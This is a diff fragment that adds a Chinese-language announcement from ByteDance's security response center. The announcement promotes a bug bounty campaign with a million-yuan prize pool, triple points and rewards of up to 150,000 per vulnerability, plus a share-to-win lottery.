|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,29 @@
|
||||
# 百万奖金池!ByteSRC全域3倍积分!单个漏洞赏金15万!
|
||||
字节跳动安全中心 2025-06-05 09:21
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
**互动有礼**
|
||||
|
||||
分享本文至朋友圈/白帽社群
|
||||
|
||||
扫码抽奖(移动端请点击图片,左滑扫码抽奖)
|
||||
|
||||
选3位小伙伴送出ByteSRC定制充电宝
|
||||
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
Reference in new issue
Block a user